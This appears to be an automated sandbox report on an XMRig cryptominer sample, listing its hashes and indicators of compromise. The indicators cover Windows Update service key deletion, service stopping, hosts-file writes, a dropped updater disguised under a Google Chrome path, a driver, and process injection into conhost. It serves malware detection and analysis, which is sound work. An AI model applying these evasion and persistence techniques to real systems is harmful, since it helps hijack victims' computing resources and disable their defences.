xmrig | 9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0

max time kernel
1800s
max time network
1792s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
30-03-2023 06:37

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General

Target

testing.exe
Size

2.1MB
MD5

a12bc9557ad889a49e7b4f970c78dda8
SHA1

5383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA256

9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512

be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
SSDEEP

24576:MHOygNfXDgkB9Y+AVIGckFdi3MUxbw+0AX4xVILyqe7keglf9BHHpRNt05sJNuI6:MuhBSda2+0+4xKLyqewBnfNwsJNO

Score

10^/10

xmrig evasion miner upx

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs

Processes:

testing.exeupdater.exe

description	pid	process	target process
PID 3148 created 3216	3148	testing.exe	Explorer.EXE
PID 3148 created 3216	3148	testing.exe	Explorer.EXE
PID 3148 created 3216	3148	testing.exe	Explorer.EXE
PID 3148 created 3216	3148	testing.exe	Explorer.EXE
PID 1928 created 3216	1928	updater.exe	Explorer.EXE
PID 1928 created 3216	1928	updater.exe	Explorer.EXE
PID 1928 created 3216	1928	updater.exe	Explorer.EXE
PID 1928 created 3216	1928	updater.exe	Explorer.EXE
PID 1928 created 3216	1928	updater.exe	Explorer.EXE
PID 1928 created 3216	1928	updater.exe	Explorer.EXE
PID 1928 created 3216	1928	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 25 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3864-266-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-269-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-273-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-278-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-280-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-282-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-284-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-286-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-288-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-290-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-292-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-294-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-296-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-298-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-300-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-302-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-304-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-306-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-308-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-310-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-312-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-314-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-316-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-318-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig
behavioral2/memory/3864-320-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

Processes:

testing.exeupdater.exe

description ioc process

File created C:\Windows\System32\drivers\etc\hosts testing.exe
File created C:\Windows\System32\drivers\etc\hosts updater.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1928 updater.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	testing.exe
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe

pid	process
1928	updater.exe

UPX packed file 25 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/3864-266-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-269-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-273-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-278-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-280-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-282-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-284-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-286-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-288-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-290-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-292-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-294-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-296-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-298-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-300-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-302-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-304-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-306-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-308-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-310-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-312-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-314-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-316-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-318-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx
behavioral2/memory/3864-320-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 1928 set thread context of 3076	1928	updater.exe	conhost.exe
PID 1928 set thread context of 3864	1928	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

testing.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	testing.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3464 sc.exe
1332 sc.exe
4524 sc.exe
1476 sc.exe
2064 sc.exe
4524 sc.exe
3720 sc.exe
1372 sc.exe
3512 sc.exe
2196 sc.exe

pid	process
3464	sc.exe
1332	sc.exe
4524	sc.exe
1476	sc.exe
2064	sc.exe
4524	sc.exe
3720	sc.exe
1372	sc.exe
3512	sc.exe
2196	sc.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

taskmgr.exetesting.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.exe

pid	process
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
3148	testing.exe
3148	testing.exe
8	powershell.exe
8	powershell.exe
936	taskmgr.exe
3148	testing.exe
3148	testing.exe
3148	testing.exe
3148	testing.exe
3148	testing.exe
3148	testing.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
3148	testing.exe
3148	testing.exe
3856	powershell.exe
3856	powershell.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
1928	updater.exe
1928	updater.exe
988	powershell.exe
988	powershell.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
1928	updater.exe
1928	updater.exe
1928	updater.exe
1928	updater.exe
936	taskmgr.exe
1928	updater.exe
1928	updater.exe
868	powershell.exe
868	powershell.exe
936	taskmgr.exe
936	taskmgr.exe
1928	updater.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

taskmgr.exe

pid process

936 taskmgr.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

644

pid	process
644

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

taskmgr.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	936	taskmgr.exe
Token: SeSystemProfilePrivilege	936	taskmgr.exe
Token: SeCreateGlobalPrivilege	936	taskmgr.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeShutdownPrivilege	2268	powercfg.exe
Token: SeCreatePagefilePrivilege	2268	powercfg.exe
Token: SeShutdownPrivilege	3512	powercfg.exe
Token: SeCreatePagefilePrivilege	3512	powercfg.exe
Token: SeShutdownPrivilege	2396	powercfg.exe
Token: SeCreatePagefilePrivilege	2396	powercfg.exe
Token: SeShutdownPrivilege	2264	powercfg.exe
Token: SeCreatePagefilePrivilege	2264	powercfg.exe
Token: SeIncreaseQuotaPrivilege	4404	powershell.exe
Token: SeSecurityPrivilege	4404	powershell.exe
Token: SeTakeOwnershipPrivilege	4404	powershell.exe
Token: SeLoadDriverPrivilege	4404	powershell.exe
Token: SeSystemProfilePrivilege	4404	powershell.exe
Token: SeSystemtimePrivilege	4404	powershell.exe
Token: SeProfSingleProcessPrivilege	4404	powershell.exe
Token: SeIncBasePriorityPrivilege	4404	powershell.exe
Token: SeCreatePagefilePrivilege	4404	powershell.exe
Token: SeBackupPrivilege	4404	powershell.exe
Token: SeRestorePrivilege	4404	powershell.exe
Token: SeShutdownPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeSystemEnvironmentPrivilege	4404	powershell.exe
Token: SeRemoteShutdownPrivilege	4404	powershell.exe
Token: SeUndockPrivilege	4404	powershell.exe
Token: SeManageVolumePrivilege	4404	powershell.exe
Token: 33	4404	powershell.exe
Token: 34	4404	powershell.exe
Token: 35	4404	powershell.exe
Token: 36	4404	powershell.exe
Token: SeIncreaseQuotaPrivilege	4404	powershell.exe
Token: SeSecurityPrivilege	4404	powershell.exe
Token: SeTakeOwnershipPrivilege	4404	powershell.exe
Token: SeLoadDriverPrivilege	4404	powershell.exe
Token: SeSystemProfilePrivilege	4404	powershell.exe
Token: SeSystemtimePrivilege	4404	powershell.exe
Token: SeProfSingleProcessPrivilege	4404	powershell.exe
Token: SeIncBasePriorityPrivilege	4404	powershell.exe
Token: SeCreatePagefilePrivilege	4404	powershell.exe
Token: SeBackupPrivilege	4404	powershell.exe
Token: SeRestorePrivilege	4404	powershell.exe
Token: SeShutdownPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeSystemEnvironmentPrivilege	4404	powershell.exe
Token: SeRemoteShutdownPrivilege	4404	powershell.exe
Token: SeUndockPrivilege	4404	powershell.exe
Token: SeManageVolumePrivilege	4404	powershell.exe
Token: 33	4404	powershell.exe
Token: 34	4404	powershell.exe
Token: 35	4404	powershell.exe
Token: 36	4404	powershell.exe
Token: SeIncreaseQuotaPrivilege	4404	powershell.exe
Token: SeSecurityPrivilege	4404	powershell.exe
Token: SeTakeOwnershipPrivilege	4404	powershell.exe
Token: SeLoadDriverPrivilege	4404	powershell.exe
Token: SeSystemProfilePrivilege	4404	powershell.exe
Token: SeSystemtimePrivilege	4404	powershell.exe
Token: SeProfSingleProcessPrivilege	4404	powershell.exe
Token: SeIncBasePriorityPrivilege	4404	powershell.exe
Token: SeCreatePagefilePrivilege	4404	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exe

pid	process
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exe

pid	process
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe
936	taskmgr.exe

Suspicious use of WriteProcessMemory 62 IoCs

Processes:

cmd.execmd.exepowershell.execmd.execmd.exeupdater.execmd.exe

description	pid	process	target process
PID 3632 wrote to memory of 2064	3632	cmd.exe	sc.exe
PID 3632 wrote to memory of 2064	3632	cmd.exe	sc.exe
PID 820 wrote to memory of 2268	820	cmd.exe	powercfg.exe
PID 820 wrote to memory of 2268	820	cmd.exe	powercfg.exe
PID 3632 wrote to memory of 4524	3632	cmd.exe	sc.exe
PID 3632 wrote to memory of 4524	3632	cmd.exe	sc.exe
PID 820 wrote to memory of 3512	820	cmd.exe	powercfg.exe
PID 820 wrote to memory of 3512	820	cmd.exe	powercfg.exe
PID 3632 wrote to memory of 3720	3632	cmd.exe	sc.exe
PID 3632 wrote to memory of 3720	3632	cmd.exe	sc.exe
PID 820 wrote to memory of 2396	820	cmd.exe	powercfg.exe
PID 820 wrote to memory of 2396	820	cmd.exe	powercfg.exe
PID 820 wrote to memory of 2264	820	cmd.exe	powercfg.exe
PID 820 wrote to memory of 2264	820	cmd.exe	powercfg.exe
PID 3632 wrote to memory of 1372	3632	cmd.exe	sc.exe
PID 3632 wrote to memory of 1372	3632	cmd.exe	sc.exe
PID 3632 wrote to memory of 3464	3632	cmd.exe	sc.exe
PID 3632 wrote to memory of 3464	3632	cmd.exe	sc.exe
PID 3632 wrote to memory of 1708	3632	cmd.exe	reg.exe
PID 3632 wrote to memory of 1708	3632	cmd.exe	reg.exe
PID 3632 wrote to memory of 1180	3632	cmd.exe	reg.exe
PID 3632 wrote to memory of 1180	3632	cmd.exe	reg.exe
PID 3632 wrote to memory of 3680	3632	cmd.exe	reg.exe
PID 3632 wrote to memory of 3680	3632	cmd.exe	reg.exe
PID 3632 wrote to memory of 4344	3632	cmd.exe	reg.exe
PID 3632 wrote to memory of 4344	3632	cmd.exe	reg.exe
PID 3632 wrote to memory of 2824	3632	cmd.exe	reg.exe
PID 3632 wrote to memory of 2824	3632	cmd.exe	reg.exe
PID 3856 wrote to memory of 4532	3856	powershell.exe	schtasks.exe
PID 3856 wrote to memory of 4532	3856	powershell.exe	schtasks.exe
PID 4964 wrote to memory of 1332	4964	cmd.exe	sc.exe
PID 4964 wrote to memory of 1332	4964	cmd.exe	sc.exe
PID 1168 wrote to memory of 3240	1168	cmd.exe	powercfg.exe
PID 1168 wrote to memory of 3240	1168	cmd.exe	powercfg.exe
PID 4964 wrote to memory of 4524	4964	cmd.exe	sc.exe
PID 4964 wrote to memory of 4524	4964	cmd.exe	sc.exe
PID 1168 wrote to memory of 3356	1168	cmd.exe	powercfg.exe
PID 1168 wrote to memory of 3356	1168	cmd.exe	powercfg.exe
PID 4964 wrote to memory of 3512	4964	cmd.exe	sc.exe
PID 4964 wrote to memory of 3512	4964	cmd.exe	sc.exe
PID 4964 wrote to memory of 2196	4964	cmd.exe	sc.exe
PID 4964 wrote to memory of 2196	4964	cmd.exe	sc.exe
PID 1168 wrote to memory of 2468	1168	cmd.exe	powercfg.exe
PID 1168 wrote to memory of 2468	1168	cmd.exe	powercfg.exe
